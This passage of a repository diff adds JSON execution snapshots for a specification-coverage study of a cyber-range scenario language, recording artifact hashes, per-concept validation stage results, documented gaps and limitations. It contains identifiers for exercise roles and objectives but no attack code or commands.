"/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "945267796770238855d21a75e9da35f74791edbe1b0b72d544cdb94a12f01b12", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1358 final-egress denial is verified by dedicated runtime regressions; this retained SDL corpus adds no egress assurance claim." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "5085fb9bdea27f87ea137d1af2c49adaa7f162ff", + "snapshot_id": "raes-standardized-specification-coverage-issue-1358-v47", + "snapshot_revision": "47.0.0", + "source_state": { + "base_revision": "5085fb9bdea27f87ea137d1af2c49adaa7f162ff", + "checkout_state": "modified", + "implementation_digest": "67f1ac1f9b1e6b7177f0cc2df3ed8b3b706de8f36f1dd567a71828ac49dc719d", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v48.json b/docs/research/specification-coverage/execution-snapshot-v48.json new file mode 100644 index 000000000..ccf078b1b --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v48.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-25T02:26:58.817893+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": 